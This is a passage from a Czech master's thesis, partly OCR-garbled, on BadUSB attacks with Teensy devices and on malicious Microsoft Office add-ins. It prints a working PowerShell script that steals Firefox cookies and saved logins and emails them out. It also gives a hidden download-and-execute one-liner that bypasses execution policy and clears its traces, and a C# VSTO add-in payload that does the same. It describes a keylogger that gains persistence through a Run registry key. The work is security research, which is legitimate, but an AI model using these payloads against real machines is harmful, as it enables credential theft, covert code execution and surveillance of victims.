vanéjsich operacnich systémech (Windows 7 a Windows 10). [1]
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4.5.1 Prubéh infekce

Po pripojeni Teensy zarizeni do portu cilového pocitace dojde k odeslani deskriptoru informujici
pocita¢ o pripojeni nové klavesnice do operacniho systému. Jakmile cilovy pocita¢ vrati infor-
maci o ispésném precteni deskriptoru a navazani spojeni, Teensy spusti sérii Powershell prikaz,
které provedou payload. Cilem payloadu je zajisténi soubori cookies z Firefox prohlizece a je-
jich zasldni na utoc¢nikuv email. K tomuto tucelu jsem vytvoril nasledujici Powershell skript (viz
Vypis 1), ktery dokdze ziskat data i skrze nastaveni maximalni ochrany v fizeni uzivatelskych
ucta (UAC).

$EmailFrom = "E-mail odesilatele"

$EmailTo = "E-mail prijemce"
prij

$Folder="C:\Users\$env:UserName\AppData\Roaming\Mozilla\Firefox\Profiles"
$CookiesFolder=Get-ChildItem $Folder -recurse | Where-Object {$_.PSIsContainer

-eq $true -and $_.Name -match "default-release"}

$attachmentl = "$Folder/$CookiesFolder/cookies.sqlite"

"$Folder/$CookiesFolder/logins. json"

$attachment?

$message = new-object System.Net.Mail.MailMessage
$message.From = $EmailFrom
$message.To.Add ($EmailTo)

$message.Subject = $env:UserName

$attl = new-object Net.Mail.Attachment($attachmentl)
$message.Attachments.Add($attl)

$att2 = new-object System.Net.Mail.Attachment($attachment?2)
$message.Attachments.add($att2)

$SMTPServer = "smtp.gmail.com"

$SMTPClient = New-Object Net.Mail.SmtpClient ($SMTPServer, 587)
$SMTPClient.EnableSsl = $true

$SMTPClient.Credentials = New-Object System.Net.NetworkCredential("Odesilajici

e-mail", "Heslo k e-mailu");
$SMTPClient.Send($message)

Vypis 1: Skodlivy skript v skriptovacim jazyce Powershell
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Cilem skriptu jsou soubory cookies.sqlite a login.json obsahujici ulozené hesla od uzivatele v
internetovém prohlizec¢i Firefox. Pro spusténi skriptu (viz Vypis 1) jsem otestoval dva zpusoby

infekce.

1. Prvnim zptsobem bylo piimé vlozeni skriptu skrze BadUSB zafizeni. Postup probihal

nasledovné:

(a) Prihlaseni BadUSB jako kldvesnice do opera¢niho systému Windows.

(b) Otevieni nastroje spustit (run) pomoci klaves Windows + R a napsani ptikazu Power-
shell.exe -WindowStyle Hidden.

(¢) Po otevieni Powershellu doslo k zadani celého skriptu (viz Vypis 1) + pridani prikazu

Get-Process -Name "powershell’ | Stop-Process -Force.
(d) Odstranéni skodlivého skriptu z paméti cilového pocitace.
Vyhodou tohoto postupu je rychlost jakou se infekce provede. Po spusténi skriptu dochézi
k jeho skryti v paméti cilového zafizeni pomoci piikazu WindwosStyle Hidden. Po ode-
sldni emailu piikazem SMTPClient.Send($message) je volan piikaz Get-Process - Name
'powershell’ | Stop-Process -Force ktery vycisti pamét pocitace. Ukézku lze nalézt v pri-

lozeném videu pod jménem BadUSB_ T32 Winl0_M1. Tato ukazka byla vytvofena na
opera¢nim systému Windows 10 (verze 1909 build 18363.657) s pouzitim Teensy 3.2.

2. Druhym zpusob, ktery jsem otestoval bylo stazeni payloadu (viz Vypis 1) z webové stranky.

Postup vlozeni skriptu do cilového pocitace probihal nasledovneé:

(a) Prihldseni BadUSB jako kldvesnice do opera¢niho systému.

(b) Otevieni nastroje spustit (run) pomoci klaves Windows + R a napsani ptikazu Power-
shell.exe -WindowStyle Hidden.

(c) Zadani skriptu pro stazeni a provedeni payloadu (viz Vypis 2).

(d) Smazani skriptu z tlozisté a vy¢isténi paméti cilového pocitace.

Powershell -WindowStyle Hidden (new-object System.Net.WebClient).
DownloadFile(’Webova stranka’,"$env:temp\skript.psl") -ExecutionPolicy
Bypass -file "$env:temp\skript.psl";Get-Process -Name ’Powershell’ |

Stop-Process -Force; Remove-Item "$env:temp\skript.psl"

Vypis 2: Powershell skript pro stazeni a provedeni payloadu

Skript je pomoci proménné $env:temp ulozen ve slozce temp, kterou operacni systém Win-
dows vyuziva k ukladani docasnych dat. Stejné jako u predchozi metody dochazi prikazem
Get-Process -Name "powershell’ | Stop-Process -Force k odstranéni skriptu z paméti cilo-
vého pocitace. Poslednim prikazem Remove-Item $env:temp\Skript.psl je skript z temp

slozky smazan.
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Vyhodou tohoto postupu je moznost zmény chovani BadUSB zafizeni pomoci zmény
skriptu hostovaném na dané webové strance. Nevyhodou je nutnost stazeni skriptu do
cilového pocitace. Stazeny skript muze byt antivirovym fesenim v cilovém pocitaci za-
blokovan, jesté pred jeho spusténim. Ukéazku lze nalézt v prilozeném videu pod jménem
BadUSB_T32_ Winl0_M2. Tato ukdzka byla vytvorena na opera¢nim systému Windows
10 (verze 1909 build 18363.657) s pouzitim Teensy 3.2.

4.6 Srovnani Teensy zarizeni

Teensy je vykonny jednocipovy pocita¢ (MCU) dosahujic velmi malych prostorovych rozméru.
Kazdé Teensy zarizeni obsahuje programovy zavadé¢ (Teensy Loader) umoziujici jednoduse a
rychle nahrét kéd do zafizeni. Vsechny Teensy zafizeni obsahuji vychozi deskriptory (klavesnice,
mys, joystick), jenz muze uzivatel libovolné vyuzivat. K témto deskriptorim jsou dostupné
knihovny usnadnujici tvorbu BadUSB zarizeni. Existuje fada Teensy zarizeni lisici se predevsim
svym vykonem a porizovaci cenou. K nejméné vykonnym Teensy zafizenim patii Teensy 2 jeho
opakem je Teensy 3.2. V Tabulce 1 lze vidét hardwarové rozdily mezi Teensy 3.2 a Teensy 2.
34]

H Specifikace \ Teensy 3.2 \ Teensy 2 H
Procesor ARM MK20DX25 32 bit 72 MHz | ATMEGA32U4 8 bit AVR 16 MHz
Flash pamét [bajty] 65536 32256
RAM [bajty] 262144 32256
EEPROM [bajty] 2048 1024
Vstupy a vystupy 34 25

* Pamét s nahodnym piistupem (Random-Access-Memory)
- Elektronicky Vymazatelnd Pamét pouze pro ¢teni (Electrically Erasable Programmable Read-Only Memory)

Tabulka 1: Specifikace Teensy 3.2 a Teensy 2

Pro provedeni vyse popisované infekce a payloadu je dulezitda rychlost zadani skodlivého
skriptu (viz kapitola 4.5.1). Tuto rychlost ovliviiuje takzvand mira dotazovani (polling rate)
udavajici rychlost komunikace poéitace s periferii (my$, klavesnice). Cim je hodnota polling
rate vyssi, tim je nizsi ¢as odezvy. Hodnota polling rate je zaddna v deskriptoru Teensy, avsak
pouze pro prerusovaci a izochronni prenosy (viz kapitola 4.2.3).

Vyrobce Teensy zarizeni udava, ze série Teensy 3 m&a hodnotu polling rate 1000 Hz pri
prerusovacim prenosu. Béhem zadani klavesy se do operacniho systému zasilaji dva informacni
pakety. Prvni paket informuje jaka klavesa byla zadana a druhy paket zasild informaci, kdy tato
klavesa byla uvolnéna. Tudiz pri frekvenci 1000 Hz je Teensy schopno do opera¢niho systému za
sekundu zaslat 1000 paketu, jelikoz stisknuti klavesy vyzaduje dva informacni pakety je mozné
maximalné zpracovat 500 zadani klaves za sekundu. Pro sérii Teensy 2 vyrobce hodnotu polling
rate neudava. Rozhodl jsem se tedy vytvorit skript v programovacim jazyce Python 3, jenz
otestuje rychlost zadavani kldvesovych znaku, ¢imz zjistim hodnotu polling rate.

Jako vstup do Python skriptu jsem pouzil sérii znakt o délce 500, 1000, 1500, 2000 a 2500.

Vysledné casy v Tabulce 2 jsou prumeérem péti méreni pro Teensy 2 a Teensy 3.2.

29



H Pocet znaku | Teensy 2 | Teensy 3.2 H

500 1.01 1.00
1000 2.00 2.00
1500 3.00 3.00
2000 4.01 4.00
2500 5.00 5.00

* Véechny hodnoty byly zaokrouhleny na dvé
desetinné mista.

Tabulka 2: Srovnani rychlosti zapisi znakt mezi zatizenimi Teensy 2 a Teensy 3.2

Teensy 2 dokéze stejné jako Teensy 3.2 zpracovat 500 znak za sekundu, tedy rovnéz pracuje
s frekvenci 1000 Hz. Obé tyto zafizeny vykonaji vySe zminénou infekci a payload ve stejném

case.

4.7 Srovnani prubéhu infekce mezi OS Windows 7 a Windows 10

Podle statistik za rok 2019 az 77 % uzivatell na svété vyuzivd operacni systém Windows.
Nejpouzivanéjsi verzi tohoto operacniho systému je Windows 10 vyuzivajici 67,3 % uzivatela.
Na druhém misté se umistil Windows 7 s 25 % uzivatelu. [1]

Vytvorené BadUSB jsem otestoval na Windows 10 (verze 1909 build 18363.657) a Windows 7
(verze 6.1 build 7601: Service Pack 1). Obé metody infekce (viz kapitola 4.5.1) probéhly uspésné
na obou operacnich systémech. V Tabulkach ¢islo 3 a 4 je mozné dohledat jméno prilozeného

videa k odpovidajici metodé infekce v konkrétnim opera¢nim systému.

H Metoda infekce ‘ Windows 10 ‘ Windows 7 H

Primé vlozeni skriptu | BadUSB_T32_Winl10_M1 | BadUSB_T32_Win7_ M1
Stazeni skriptu BadUSB T32 Winl0 M2 | BadUSB T32 Win7 M2

Tabulka 3: Prehled prilozenych videi pro Teensy 3.2

H Metoda infekce ‘ Windows 10 ‘ Windows 7 H

Primé vlozeni skriptu | BadUSB_T2_Winl10_M1 | BadUSB_T2_ Win7_ M1
Stazeni skriptu BadUSB T2 Winl0 M2 | BadUSB T2 Win7 M2

Tabulka 4: Prehled prilozenych videi pro Teensy 2

4.8 Zavér BadUSB zarizeni

Vyrobci Teensy zafizeni se snazi praci s timto mikrokontroler zjednodusit pro sirokou verejnost,
a proto Teensy zarizeni jiz v sobé obsahuje naprogramovany USB protokol s fadou vychozich
deskriptori, mezi kterymi mtze uzivatel vybirat. Pro tvorbu BadUSB zafizeni neni znalost USB
protokolu pottrebna.

Aby se Teensy stalo opravdu BadUSB zafizenim, je potfeba do néj naimplementovat payload.

K tvorbé payloadu je potfeba znalost programovani v jazyce C. Pro Gtoc¢nika, ktery chce vytvorit
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BadUSB zafizeni, ale neumi programovat nebo nema dostatecné technické znalosti, existuje
moznost stazeni payloadu z webovych ulozist jako napriklad z GitHubu ¢i GitLabu. Tyto ulozisté
obsahuji desitky payloadu, jenz jsou vytvorené pravé pro Teensy zarizeni. [35] [36] V ramci
své diplomové prace jsem otestoval nékolik desitek payloadi ze zminénych webovych ulozist a
vétsina kédh byla funkéni bez nutnosti jakychkoliv dprav.

Pomoci Teensy zarizeni a payloadt nachézejicich se na webovych ulozistich 1ze velmi jedno-
duse a rychle vytvorit BadUSB zafizeni. Vétsina payloadi spocivd, stejné jako mnou vytvoreny
payload, na prihldseni BadUSB zafizeni do operacniho systému jako klavesnice a zadani série
ptikazu, které budto provedou payload ¢i stahnou payload z daného serveru. Jak jsem otesto-
val vySe (viz kapitola 4.6) tento druh payloadu provede nejméné vykonné a zéroven nejlevnéjsi
Teensy 2 zafizeni stejné efektivné jako nejvykonnéjsi verze Teensy zafizeni. Uto¢nikovi tedy k
provedeni infekce a payloadu staci nejlevnéjsi verze Teensy zarizeni, jehoz porizovaci cena se
pohybuje kolem 16 dolara (405 K¢, Duben 2020).

Vétsina payloada z webovych lozist je vytvorena pomoci univerzalnich Powershell piikazi.
To dtoénikovi umoznuje Uspésné provedeni payloadu na operacnim systému Windows 10 a
Windows 7 (viz kapitola 4.7). Tato kompatibilita zaruc¢uje utoénikovi 92,3 % (aktudlni pro rok
2019) Sanci, ze infekce s payloadem bude funkéni (zminéna pravdépodobnost plati pouze pro

operacni systém Windows).
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5 Infekce skrze doplnky Microsoft Office

V nésledujicich kapitolach predstavim dvé metody, jakymi lze doplitkky do Microsoft Office baliku
tvorit.

Prvni metodou je tvorba dopliiku prostiednictvim VSTO (viz kapitola 5.1). Obsahem prv-
nich kapitol této metody bude popsani vyvoje a fungovani VSTO. Nésledné provedu experiment,
ve kterém se pokusim vytvorit skodlivy doplnék. V posledni kapitole zabyvajici se touto meto-
dou bude shrnuti VSTO informaci.

Druhou metodou pro tvorbu dopliiku je platforma Office dopliiku (viz kapitola 5.4). Rozlo-
zeni kapitol bude podobné VSTO metodé (vyvoj platformy Office dopliiku, fungovani, experi-
ment a shrnut{ informaci). Jedinym rozdilem bude ptidani kapitoly popisujici mozné zpusoby
nasazeni dopliku.

V kapitole 5.7 srovnavam rozdily mezi VSTO a platformou Office dopliiku. Zhodnotim, zda
u obou metod je mozné provést infekci prostiednictvim doplinku a porovnam jaké technologie
tyto metody vyuzivaji.

V posledni kapitole 5.8 vyhodnotim vysledky obou experimentu (viz kapitola 5.2 a 5.5).

5.1 Visual Studio nastroje pro Office (VSTO)

VSTO je sada vyvojovych nastroju dostupnych ve vyvojovém prostredi Visual Studio slouzici pro
tvorbu doplnkt do Microsoft Office balikti. Tyto dopliky je mozno vytvaret v programovacim
jazyce Visual Basic nebo C#. Nejznaméjsim VSTO doplinkem (Bfezen 2020) pro Microsoft
Office Word a Outlook je doplnék Grammarly. Funkce Grammarly doplitku je automaticka
oprava anglické gramatiky. [37, 38, 39]

5.1.1 Vyvoj VSTO

Prvni verze VSTO byla pfedstavena v roce 2003 a umoznila vytvaret dopliky pro Microsoft
Office 2003. O dva roky pozdéji, tedy v roce 2005, vznika dalsi verze VSTO umoznujici tvorbu
doplikt i pro Outlook. S prichodem nové verze Microsoft Office 2007 balikt vznika i nova verze
VSTO pojmenovana VSTO 2005 SE, ktera je kompatibilni s Microsoft Office 2003. O rok pozdéji
(2008) vznika verze VSTO 3.0 dovolujici vytvaret dopliky i do nédstroju Microsoft InfoPath a
SharePoint. V roce 2010 byla pfedstavena nova verze Microsoft Office 2010 balikii a s ni vychézi
posledni vydana verze VSTO 4.0. S ptrichodem verze Microsoft Office 2013 balikd, jiz nevznika
nova verze VSTO, ale je vytvofena aktualizace (update) pro stavajici verzi VSTO 4.0. Této
aktualizované verzi se fikd VSTO 4.5 (oznacCeni neni oficidlni). VSechny vySe zminéné verze
VSTO byly dostupné pouze pro vyvojové prostfedni (IDE) Visual studio v edici profesional
nebo vyssi. V roce 2017 Microsoft oznamil dostupnost VSTO pro vSechny edice Visual Studia.
Kompatibilitu a prehled verzi VSTO lze vidét v Tabulce 5. [40, 41]
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H Verze \ Kompatibilita s Microsoft Office \ Dostupnost

|

VSTO 2003 Microsoft Office 2003 Visual Studio .NET 2003 Professional

VSTO 2005 Microsoft Office 2003 Visual Studio 2005 Professional
VSTO 2005 SE Microsoft Office 2003, 2007 Visual Studio 2005 Professional

VSTO 3.0 Microsoft Office 2003, 2007 Visual Studio 2008 Professional
VSTO 4.0 (4.5) | Microsoft Office 2007 a vyssi verze vSechny verze Visual Studio 2017

Tabulka 5: Kompatibilita a dostupnost VSTO

5.1.2 Spusténi VSTO doplinku

P1i spusténi jakéhokoliv produktu z Microsoft Office baliku dochézi ke kontrole registri, které
se nachazeji:
HKEY LOCAL MACHINE\Software\Microsoft\Office\OfficeProdukt\Addins\ID

Pokud tato cesta neexistuje, dany Microsoft Office produkt nemé zadny dostupny doplnék.

V opac¢ném ptipadé se v poslednim kli¢i registri nachazeji 4 polozky:

e Description — jedna se o struc¢ny popis dopliiku. Popis je uzivateli zobrazen v konkrétnim
produktu Microsoft Office. Typ polozky REG__SZ.

e FriendlyName — nazev doplitku v konkrétnim produktu Microsoft Office. Typ polozky
REG_SZ.

e LoadBehavior — hodnota, kterd udava, kdy konkrétni Microsoft Office produkt nacte
VSTO doplnék. Typ polozky je REG_DWORD nastaveny na hodnotu 3.

e Manifest — urcuje cestu k umisténi manifestu nasazeni. Typ polozky REG__SZ. [42]

Po ovéreni registri dochézi ke spusténi dynamicky linkované knihovny (dll) VSTOEE.dI
zajistujici ukoly potfebné k aktivaci provozniho VSTO (VSTO Runtime). VSTO Runtime zpro-
stredkuje Microsoft Office produktim vyuzivat Framework Common Language Runtime (CLR)
umoznujici pouziti .NET funkcionality. VSTO Runtime také aktivuje bezpec¢nosti kontrolu. Tato
kontrola sleduje pouze, zda je certifikdt od VSTO dopliku aktualni. Jakmile je bezpecnosti
kontrola dokoncéena, VSTO Runtime spousti dynamicky linkovanou knihovnu VSTOLoader.dll.
Tato dll knihovna vytvari pro kazdy doplnék vlastni aplika¢ni model (také oznaCovéna jako
aplikaéni doména), ktery zajisti izolaci doplnku (viz Obrazek 6). Diuvodem izolace doplnku je
skutecnost, aby Spatné vytvoreny doplnék neovlivnil ¢innost Microsoft Office produkt ¢i jinych
VSTO doplnki. Kazda aplikaéni doména je spusténa voldnim metody ThisAddIn_ Startup a
ukoncena volanim metody ThisAddIn_ Shutdown. Kazdy VSTO doplnék musi tyto dvé metody
obsahovat. [37]
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Office produkt (Word,
Excel a dal$i)

Nedostupnost
>

Z&dné dostupné
doplriky

Dostupnost

V
V
Provozni (Runtime)
VSTO
\V

Bezpecnostni Hrozba
kontrola

> Zablokovani doplriku

VSTOLoader.dll

\V4
Aplika¢ni model

Obrazek 6: Sestaveni VSTO doplinku

Po kazdém tspésném sestaveni doplnku vznikaji dva XML soubory:

e Aplika¢ni manifest (Application manifest) — jeho soucésti jsou vSechny prvky (assemblies)

potiebné pro dany doplnék. [43]

e Manifest nasazeni (Deployment manifest) - obsahuje informace o autorovi dopliiku, verzi

doplnku, verzi VSTO a odkazuje na aplika¢ni manifest. [44]

Tyto XML soubory jsou soucasti ClickOnce feseni integrovaného ve VSTO Runtime od verze
VSTO 2005. ClickOnce umoznuje snadné nainstalovani dopliiku. [45] Staéi aby uzivatel spustil
soubor s koncovkou VSTO (Manifest nasazeni) ¢imz dojde k stazeni aplika¢niho manifestu
nachézejiciho se na daném serveru (server je uveden v manifestu nasazeni). Metoda ClickOnce
se potyka s fadou problému jako napriklad casté blokovani antivirovymi resenimi nebo mistnimi
zésadami skupiny (group policy), nutnost ¢asté obnovy kli¢i mezi manifesty a potfeba mit

internetové pripojeni k zavedeni aplikacniho manifestu. [46, 45]

5.2 Tvorba infekce skrze VSTO doplnék

V této kapitole se pokusim vytvorit infikovany VSTO doplnék. Tento doplnék bude obsahovat
dva payloady. V zavérecné casti kapitoly vyhodnotim, zda je infekce prostfednictvim VSTO
dopliiktt moznd. Skodlivy doplnék budu tvofit pro Microsoft Office 365 Word (verze 2002 build
12527.20242) pro 64bit opera¢ni systém Windows 10. Pouzitd bude verze VSTO 4 (viz kapitola
5.1.1).
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5.2.1 Popis doplnku

Aby mohlo k infekci dojit, musi doplnék obsahovat funkcionalitu, kterd primeéje uzivatele doplnék
do svého pocitace nainstalovat. Z tohoto diivodu jsem se rozhodl vytvotit doplnék umoznujici
uzivateli rychle hledat synonyma, homonyma ¢i rymy. Na Obrazku 7 1ze vidét, ze jsem doplnék
integroval do horni nabidky Microsoft Office Word pod jménem AddIn. Pti otevieni nabidky
AddIn mé uzivatel na vybér vytvoreni synonyma, homonyma a rymu. Nabidka About obsahuje
pouze informacni text o dopliku. Tyto t¥i funkce jsou realizovany pomoci podokna tloh (task
pane). Kazdé podokno tloh je realizovano jako samostatny objekt, coz umoziuje uzivateli pouziti

vSech tii funkci soucasné (viz Obrazek 7).

Soubor Domii VioZeni Néwrh RozloZeni Reference Korespondence Revize Zobrazeni Addin  Népovéda & sdilet O Komentsle @

S Ruyme | 7 Synonym | 7 Homophone | #3 About

Rhymes ~ X Homophones ~ X Synonyms X
sssss n search Search
J[ser] | [ [sern ] | | =
ymes  Homop hore Synoy
Sténka 121  Poletslov:0  Cedtina ] Soustredéné etent BE B - ]

Obrazek 7: VSTO doplnék

5.2.2 Infekce a payload

Infekci a payload jsem se rozhodl vlozit do metody ThisAddIn_ Startup. Tato metoda je pro
kazdy VSTO doplnék povinna spole¢né s metodou ThisAddIn_ Shutdown. K Spusténi ThisAd-
dIn_ Startup metody dochézi v zévislosti na hodnoté registru LoadBehavior (viz Tabulka 6).
[47]
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H Hodnota registru Popis registru H

0 Doplnék se automaticky nenacte, Indikace manudlniho nac¢teni dopliku
Doplnék se automaticky nenacéte, Neindikuje manudlni nac¢teni doplnku
Chyba pfi automatickém nacitani dopliiku

Uspésné automatické nacteni doplinku

Chyba pfi nacitani doplitku na zddost

OO W| N —

Uspésné nacten{ doplitku na zadost
16 Prvni spusténi dopliku automaticky, poté nacteni na zadost

" Naéteni doplitku na zadost: Doplnék bude naéten kdyz to Microsoft Office produkt vyzaduje (napiiklad kdyz
uzivatel klikne na prvek uzivatelského rozhrani)

Tabulka 6: Popis hodnot registru LoadBehavior

Nejvhodnéjsi payloady do Microsoft Office baliku jsou ty, které utocnikovi zasilaji citliva
data po kazdém spusténi infikovaného programu (v piipadé této préace Microsoft Office Word).
Druhym vhodnym payloadem je kéd, jehoz cilem je zavedeni skodlivého programu do cilového
systému (dropper). Divodem volby téchto payloadu je skute¢nost, ze skodlivy kéd vlozeny v
dopliiku existuje pouze po dobu trvani aplikaéni domény (viz kapitola 5.1.2) respektive po dobu
kdy je Microsoft Office Word spustén.

V ramci své prace jsem se rozhodl vytvorit obé varianty payloadu ve snaze potvrdit vyse

zminéné tvrzeni.

1. Obsahem prvniho payloadu je kéd pro stazeni skodlivého skriptu z webové stranky (viz
Vypis 3) a jeho provedeni. Tento skodlivy skript vyuzivd PowerShell piikazy odesilajici
utocnikovi cookies soubory z internetového prohlizece Firefox. Tento skript jsem jiz pouzil

v diivéjsich kapitolach (viz kapitola 4.5.1).

public void Infection ()

{
WebClient Client = new WebClient();
Client.DownloadFile("Webova Stramka", FilePath);
var startInfo = new ProcessStartInfo()
{
CreateNoWindow = true,
FileName = "PowerShell.exe",
Arguments = $"-NoProfile -ExecutionPolicy Bypass -file \"{
FilePath}\"",
UseShellExecute = false,
};
Process.Start(startInfo);
}

Vypis 3: Stazeni a vykonani PowerShell skriptu ve VSTO
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2. Druhym payloadem je program zaznamenavajici stisknuté klavesy (keylogger). Tento pro-
gram se béhem instalace doplitku umisti do systémové slozky operac¢niho systému Win-
dows. Jakmile uzivatel spusti Microsoft Office Word, spusti se na pozadi také keylogger
fungujici jako samostatny proces v cilovém pocitaci. Ukonceni aplika¢ni domény nem4 vliv
na samostatny proces obsahujici keylogger (viz kapitola 5.1.2). VSechny stisknuté klavesy
se zapisuji do souboru, ktery je umistén v temp slozce (temporary file) systému. Po kaz-
dém zapsani 1000 znaka je tento soubor poslan utoc¢nikovi na email. P¥i prvnim spusténi
keyloggeru dochazi k vytvoreni registru, ktery po kazdém spusténi operac¢niho systému

Windows spusti keylogger. Registr je umistén v nasledujicim kli¢i registru:

HKEY\CURRENT\USER\Software\Microsoft\Windows\CurrentVersion\Run

5.2.3 Tvorba instala¢cniho souboru pro VSTO doplnék

Instalacni soubor jsem vytvoril ve formatu Microsoft Windows instala¢ni soubor (MSI). K
uaspésné instalaci doplnku, musi instalacni soubor obsahovat aplika¢ni manifest i manifest
nasazeni (viz kapitola 5.1.2). V piipadé pouziti keyloggeru (viz kapitola 5.2.2) obsahuje
instala¢ni soubor jesté skodlivy payload. K detekovani nainstalovaného doplinku Microsoft
Office produktem je nutné vytvorit registry Description, FriendlyName, Manifest a
LoadBehavior (viz kapitola 5.1.2), které se musi ulozit v nasledujici cesté:
HKEY_LOCAL_MACHINE\Software\Microsoft\Office\Word\Addins\ID

Hodnota registru LoadBehavior urcéuje, kdy bude metoda ThisAddIn_ Startup volana. Ta-
bulka 6 udava hodnoty a jejich popis pro tento registr.

e Pro dropper (viz kapitola 5.2.2) je nejvhodnéjsi volbou registru hodnota 3 (LoadBehavior).
Utoc¢nik vzdy kdyz uzivatel spusti Microsoft Office Word ziskd aktudlni seznam cookies

souboru z webového prohlizece.

e Pro keylogger (viz kapitola 5.2.2) jsem nastavil hodnotu registru LoadBehavior na hodnotu
16. Keylogger si sim v opera¢nim systému zajisti perzistenci a neni nezbytné jej opakované

spoustét.

Poslednim krokem pro dokonceni instala¢niho souboru byla kontrola, zda ma uzivatel nain-
stalovany Microsoft Office Word a Visual Studio Tools for Office Runtime. Pokud uzivatel nema
nainstalovany VSTO Runtime, je spustén druhy ptilozeny instala¢ni soubor (Setup.exe). Insta-
la¢ni soubor Setup nainstaluje Microsoft .NET Framework 4 Client Profile obsahujici VSTO
Runtime. Pokud uzivatel nemé nainstalovin Microsoft Office Word, je instalace ukoncena chy-

bou a uzivatel je informovan o nutnosti mit tento produkt nainstalovan.

5.2.4 Ukazka Infekce skrze VSTO doplnék

V priloze prace lze nalézt video ukdzky VSTO _AddIn_DowloadScript a VSTO _AddIn_ Keylogger

simulujici vyse popsanou infekci a payload. VSechny zminéné ukéazky byly testovany v prostredi
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Microsoft Office 365 Word (verze 2002 build 12527.20242) na 64bitovém opera¢nim systému
Windows 10 (verze 1909 build 18363.657).

1. Prvni video ukazka VSTO__AddIn_ DowloadScript simuluje infekci prostfednictvim Micro-
soft Office doplnku obsahujici skodlivy kod na stazeni a provedeni PowerShell prikazii.

Tento payload je vice popsan v kapitole 5.2.2.

Tato simulace zac¢ind samotnou instalaci doplinku a pokracuje néslednym spusténim Micro-
soft Office Word produktu jiz s nainstalovanym infikovanym doplitkem. Nasledné je mozné
vidét, ze stazeny skript byl proveden a utoc¢nikovi prisel email s odcizenymi cookies sou-
bory. V simulaci také demonstruji automatické mazani stazeného skriptu pii ukoncovani
aplika¢ni domény. Pro ovéfeni perzistence (registru LoadBehavior) spustim Microsoft Of-

fice Word znova a zkontroluji zda to¢nik obdrzel dalsi email s citlivymi cookies soubory.

2. Druhd video ukazka VSTO_ AddIn_ Keylogger zobrazuje infekce s pouzitim keyloggeru
jako payloadu (viz kapitola 5.2.2).

I tato video ukéazka zacind instalaci Skodlivého dopliiku a spusténi infikovaného Microsoft
Office produktu. Po ukoncéeni Microsoft Office Word je mozné vidét vypis bézicich procest
v cilovém poéitaci. Pod procesem keylogger bézi vysSe zminény payload (viz kapitola 5.2.2).
Taktéz video ukazka zndzornuje vypis registru, do kterych se keylogger zavedl (zajisténi
perzistence payloadu). Pro potfebu videa jsem payload upravil z potfebnych 1000 znaku
(viz kapitola 5.2.2) nutnych k odesldni emailu na 10 znaki. Zasluhou této tpravy je mozné

vidét doruceni emailu s prilozenym txt souborem obsahujici zdznam stisknutych klaves.

Instalacni soubory obou payload jsem otestoval na webové strance VirusTotal. Vysledky testti
je mozné vidét na Obrazku 8. V levé casti je vysledek pro infekci a payload ve video ukazce
VSTO__AddIn_DowloadScript (stazeni a provedeni skriptu) a v pravé ¢asti obrazku je umistén

vysledek pro infekei a payload ve video ukdzce VSTO__AddIn_ Keylogger (zavedeni keyloggeru).
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Obrazek 8: Srovnani detekce payloadu ve VSTO dopliku

Infekce s payloadem pro stazeni a provedeni skriptu nebyla odhalena zadnym antivirovym
feSenim, avsak keylogger byl odhalen 15 antivirovymi fesenimi.
Keylogger byl vytvoren na principu metody, ktera je pro antivirové spole¢nosti znama. Zdro-

jovy kéd popisujici princip fungovani vyse zminéného keyloggeru je soucasti priloh prace.

5.3 Shrnuti infekce VSTO doplnka

Jak jiz predchazejici kapitoly s video ukdzkami (viz kapitola 5.2.4) avizovaly, infekce skrze VSTO
doplnky je mozna. I pres fakt, ze doplnék pri svém spusténi bézi v izolované aplikacni doméné,
nejednd se o uzaviené prostiedi (sandbox). Utocénik mize tedy ke zdrojim cilového poéitace
libovolné pistupovat, coz umoziiuje vytvoiit ve VSTO doplitku infekei i payload. Utoénik viak
musi zvazit vhodny payload (viz kapitola 5.2.2). Pokud vlozi payload piimo do VSTO dopliku,
bude tento payload aktivni pouze po dobu existence aplika¢ni domény.

VSTO infekce méa dvé nevyhody. Nejvétsi nevyhodou je nutnost doplnék nainstalovat, coz
mize potenciondlni obét odradit. Dalsi nevyhodou, kterd se i pfi mém testovani doplnku obje-
vila, je zruseni nainstalovaného dopliku vinou aktualizace Microsoft Office baliku. Jednd se o
chybu implementace VSTO na strané Microsoftu. Opétovné nasazeni dopliku je slozitéjsi a pro
bézného uzivatele mize byt komplikované.

Kv1li nepridani VSTO doplitku do Microsoft Office obchodu, zacaly tyto dopliiky ztracet na
znamosti a vétSina spole¢nosti a vyvojara presla na tvorbu dopliku skrze platformu pro Office
dopliky (viz dalsi kapitola 5.4).
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5.4 Platforma Office doplnkua

Platforma Office doplnku (Office Add-ins platform) vyuziva k tvorbé dopliikit webové technolo-
gie jako jsou HTML, CSS, JavaScript. Doplnky vytvorené touto metodou jsou multiplatformni.
Lze je tedy uplatnit na vice operac¢nich systémech (Windows, Mac) ¢i dokonce na samotném

webovém prohliZze¢i umozniujici praci s Microsoft Office produkty. [48]

5.4.1 Vyvoj platformy Office doplnki

Platforma Office doplnku byla predstavena jiz v roce 2013 pod jménem Aplikace pro Office
(Apps for Office), avsak kvuli fadé technickych omezeni nemél model Apps for Office velky
uspéch. Spolecnosti tedy volily tvorbu doplinku skrze VSTO. V roce 2016 byla predstavend plat-
forma Office doplnku (Office Add-ins platform), kterd odstranila predeslé technické problémy
modelu Apps for Office a uleh¢ila nasazeni cileného doplitku (viz kapitola ¢. 5.4.3). [49]

5.4.2 Funkce platformy Office doplnka

Platforma Office dopliikt vyuzivé dva zakladni komponenty. [48] Prvnim komponentem je XML
manifest definujici zdkladni nastaveni doplikt a urcuje vztah jakym doplnék interaguje s uzi-
vatelem. Taktéz tento manifest odkazuje na webovou stranku, ktera je druhym komponentem
platformy Office doplnku. [50] HTML stranka je zobrazend uvniti Microsoft Office produktu.
Ke komunikaci s Microsoft Office produktem a HTML strankou je pouzito JavaScriptové roz-
hrani pro programovani aplikaci (API). HTML stranka tedy obsahuje veskerou funkcionalitu
dopliku. [51]
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Webova stranka

Manifest
Home.html

HelloWordManifest.xml <html>
<OfficeApp> <head></head>
<Sourcelocation = "~HostAdd/Home.html"/> <body> '
<Url id = "TaskPane" = "~HostAdd/Home.html"/> <h2>Hello World!</h2>
</OfficeApp> </body>

</html>
Hello
World!

Microsoft Office produkt

Obrazek 9: Sestaveni dopliiku prostfednictvim platformy Office doplikt

Na Obréazku 9 lze vidét priklad jakym zptsobem je doplnék zobrazen v Microsoft Office
produktu. HelloWorldManifest.xml zobrazuje zjednoduseny XML manifest. V tomto zjednodu-
seném manifestu je mozné vidét XML znacku (tag) SourceLocation udavajici webovy odkaz,
na némz se nachazi veskera funkcionalita doplinku. Hodnota HostAdd urcuje cestu k webové
